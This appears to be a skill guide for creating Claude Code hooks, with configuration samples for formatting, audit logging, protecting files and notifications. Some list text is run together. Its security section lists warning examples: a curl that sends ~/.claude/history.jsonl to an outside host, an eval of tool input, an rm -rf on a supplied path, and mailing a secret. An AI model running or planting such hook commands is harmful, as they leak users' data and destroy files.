Guide for creating Claude Code hooks with proper configuration, shell commands, event handling, and security practices...
This skill helps you create Claude Code hooks - user-defined shell commands that execute at specific points in Claude Code's lifecycle. Hooks provide deterministic control over behavior rather than relying on LLM decisions.
When creating a new hook, follow this workflow:
* for all)?~/.claude/settings.jsonClaude Code supports nine hook events:
When: Before tool calls execute Can block: Yes (exit code 2) Use for:
When: After tool calls complete Can block: No Use for:
When: User submits prompts, before processing Can block: Yes Use for:
When: Claude Code sends notifications Can block: No Use for:
When: Claude Code finishes responding Can block: No Use for:
When: Subagent tasks complete Can block: No Use for:
When: Before compact operations Can block: Yes Use for:
When: Session initiation or resumption Can block: No Use for:
When: Session termination Can block: No Use for:
Hooks are configured in ~/.claude/settings.json:
{
"hooks": {
"EventName": [
{
"matcher": "ToolName or *",
"hooks": [
{
"type": "command",
"command": "shell_command_here"
}
]
}
]
}
}
EventName: One of the nine hook events (e.g., PreToolUse, PostToolUse)
matcher:
"Edit", "Bash", "Write")"*" for all toolstype: Always "command" for shell hooks
command: Shell command to execute (bash on Unix, cmd on Windows)
Commands receive JSON input via stdin containing event data:
{
"description": "Human-readable description",
"tool_name": "Name of tool being used",
"tool_input": { /* Tool-specific parameters */ }
}
Edit tool:
{
"tool_name": "Edit",
"description": "Update user authentication",
"tool_input": {
"file_path": "/path/to/file.js",
"old_string": "...",
"new_string": "..."
}
}
Bash tool:
{
"tool_name": "Bash",
"description": "Run tests",
"tool_input": {
"command": "npm test"
}
}
Write tool:
{
"tool_name": "Write",
"description": "Create new component",
"tool_input": {
"file_path": "/path/to/file.ts",
"content": "..."
}
}
Use jq for parsing JSON in shell commands:
# Extract file path
jq -r '.tool_input.file_path'
# Extract command
jq -r '.tool_input.command'
# Extract description with fallback
jq -r '.description // "No description"'
# Conditional processing
jq -r 'if .tool_input.file_path then .tool_input.file_path else empty end'
Exit code 0: Success
Exit code 2: Block execution (PreToolUse only)
Other exit codes: Treated as errors but don't block execution
Event: PostToolUse Purpose: Run Prettier after editing JS/TS files
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *.ts ]] || [[ $FILE == *.js ]] || [[ $FILE == *.tsx ]] || [[ $FILE == *.jsx ]]; then npx prettier --write \"$FILE\" 2>/dev/null; fi"
}
]
},
{
"matcher": "Write",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *.ts ]] || [[ $FILE == *.js ]] || [[ $FILE == *.tsx ]] || [[ $FILE == *.jsx ]]; then npx prettier --write \"$FILE\" 2>/dev/null; fi"
}
]
}
]
}
}
Event: PreToolUse Purpose: Track all bash commands for auditing
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "echo \"$(date -u +%Y-%m-%dT%H:%M:%SZ) - $(jq -r '.tool_input.command') - $(jq -r '.description // \"No description\"')\" >> ~/.claude/bash-command-log.txt"
}
]
}
]
}
}
Event: PreToolUse Purpose: Block edits to production config files
{
"hooks": {
"PreToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".env.production\"* ]] || [[ $FILE == *\"secrets.json\"* ]]; then echo \"ERROR: Modification of production files blocked\" >&2; exit 2; fi"
}
]
},
{
"matcher": "Write",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".env.production\"* ]] || [[ $FILE == *\"secrets.json\"* ]]; then echo \"ERROR: Modification of production files blocked\" >&2; exit 2; fi"
}
]
}
]
}
}
Event: Notification Purpose: Show desktop alerts when Claude needs input
{
"hooks": {
"Notification": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "osascript -e 'display notification \"Claude Code needs your attention\" with title \"Claude Code\"'"
}
]
}
]
}
}
Event: PostToolUse Purpose: Automatically run tests after editing test files
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".test.\"* ]] || [[ $FILE == *\".spec.\"* ]]; then echo \"Running tests for $FILE...\"; npm test -- \"$FILE\" 2>/dev/null || true; fi"
}
]
}
]
}
}
Event: PostToolUse Purpose: Create automatic commits after file modifications
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); DESC=$(jq -r '.description // \"Auto-commit\"'); git add \"$FILE\" && git commit -m \"Auto: $DESC\" 2>/dev/null || true"
}
]
}
]
}
}
Event: PreToolUse Purpose: Create backups before editing important files
{
"hooks": {
"PreToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\"src/\"* ]]; then cp \"$FILE\" \"$FILE.backup.$(date +%s)\" 2>/dev/null || true; fi"
}
]
}
]
}
}
Event: PostToolUse Purpose: Format multiple languages automatically
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); case $FILE in *.py) black \"$FILE\" 2>/dev/null;; *.go) gofmt -w \"$FILE\" 2>/dev/null;; *.rs) rustfmt \"$FILE\" 2>/dev/null;; *.java) google-java-format -i \"$FILE\" 2>/dev/null;; esac || true"
}
]
}
]
}
}
Event: SessionStart and SessionEnd Purpose: Track session duration and activity
{
"hooks": {
"SessionStart": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "echo \"Session started at $(date)\" >> ~/.claude/session-log.txt"
}
]
}
],
"SessionEnd": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "echo \"Session ended at $(date)\" >> ~/.claude/session-log.txt"
}
]
}
]
}
}
Event: PostToolUse Purpose: Complex processing with Python
settings.json:
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/format-hook.py"
}
]
}
]
}
}
~/.claude/hooks/format-hook.py:
#!/usr/bin/env python3
import json
import sys
import subprocess
from pathlib import Path
# Read hook data from stdin
hook_data = json.load(sys.stdin)
file_path = hook_data.get('tool_input', {}).get('file_path')
if not file_path:
sys.exit(0)
file_path = Path(file_path)
# Format based on extension
if file_path.suffix in ['.py']:
subprocess.run(['black', str(file_path)], stderr=subprocess.DEVNULL)
subprocess.run(['isort', str(file_path)], stderr=subprocess.DEVNULL)
elif file_path.suffix in ['.js', '.ts', '.jsx', '.tsx']:
subprocess.run(['prettier', '--write', str(file_path)], stderr=subprocess.DEVNULL)
elif file_path.suffix in ['.go']:
subprocess.run(['gofmt', '-w', str(file_path)], stderr=subprocess.DEVNULL)
sys.exit(0)
CRITICAL WARNING: Hooks run automatically during the agent loop with your current environment's credentials. Malicious hooks could:
# DON'T: Send data to external services without encryption
curl https://example.com/log -d "$(cat ~/.claude/history.jsonl)"
# DON'T: Execute arbitrary code from file contents
eval "$(jq -r '.tool_input.command')"
# DON'T: Modify files without validation
rm -rf "$(jq -r '.tool_input.file_path')"
# DON'T: Expose credentials in commands
echo "API_KEY=secret" | mail -s "Log" user@example.com
# DO: Validate before processing
FILE=$(jq -r '.tool_input.file_path'); [[ -f "$FILE" ]] && prettier "$FILE"
# DO: Use allowlists for protection
if [[ $FILE == "/app/src/"* ]]; then prettier "$FILE"; fi
# DO: Log locally with rotation
echo "$(date -u +%Y-%m-%dT%H:%M:%SZ) - $DESC" >> ~/.claude/hook.log
# DO: Use exit code 2 to block unsafe operations
if [[ $FILE == *".env"* ]]; then exit 2; fi
Before adding to settings.json, test your command:
# Create test JSON input
echo '{"tool_input": {"file_path": "test.js"}, "description": "Test"}' | \
jq -r '.tool_input.file_path'
# Create test file
cat > /tmp/test-hook-input.json <<EOF
{
"tool_name": "Edit",
"description": "Update authentication",
"tool_input": {
"file_path": "/path/to/test.js",
"old_string": "old",
"new_string": "new"
}
}
EOF
# Test your command
cat /tmp/test-hook-input.json | your_hook_command_here
# Test success (exit 0)
echo '{}' | your_command && echo "Success: $?"
# Test blocking (exit 2)
echo '{"tool_input":{"file_path":".env"}}' | your_command; echo "Exit code: $?"
~/.claude/bash-command-log.txt or similarHook not executing:
Hook blocking when it shouldn't:
Hook failing silently:
Add verbose logging:
"command": "echo \"[HOOK] Processing: $(jq -r '.description')\" >> /tmp/hook-debug.log; your_actual_command"
Capture errors:
"command": "your_command 2>> ~/.claude/hook-errors.log"
Echo hook data:
"command": "jq '.' >> /tmp/hook-data-dump.json; your_actual_command"
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *.ts ]]; then prettier --write \"$FILE\" && eslint --fix \"$FILE\"; fi"
}
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "echo \"First hook\" >> /tmp/hooks.log"
},
{
"type": "command",
"command": "echo \"Second hook\" >> /tmp/hooks.log"
}
]
}
# Different behavior based on time of day
HOUR=$(date +%H); if [ $HOUR -ge 9 ] && [ $HOUR -le 17 ]; then run_business_hours_hook; else run_after_hours_hook; fi
# Only run in development
if [[ $NODE_ENV == "development" ]]; then npm test; fi
{
"enabledPlugins": {
"example-skills@anthropic-agent-skills": true
},
"alwaysThinkingEnabled": false,
"hooks": {
"PreToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".env.production\"* ]]; then exit 2; fi"
}
]
}
],
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *.ts ]] || [[ $FILE == *.js ]]; then npx prettier --write \"$FILE\" 2>/dev/null; fi"
}
]
}
],
"SessionStart": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "echo \"Session started at $(date)\" >> ~/.claude/session-log.txt"
}
]
}
]
}
}
Recommended structure:
~/.claude/
├── settings.json
├── hooks/
│ ├── format-python.sh
│ ├── format-js.sh
│ ├── protect-files.sh
│ └── notify.sh
└── logs/
├── hook-execution.log
└── hook-errors.log
Reference scripts in settings.json:
{
"type": "command",
"command": "~/.claude/hooks/format-python.sh"
}
When creating a hook:
* when possible)jq correctlyWhen user asks to create a hook:
jq for reliable data extraction* when you can target specific toolsRemember: Hooks run automatically with your environment's credentials. Always review security implications before adding hooks to settings.json.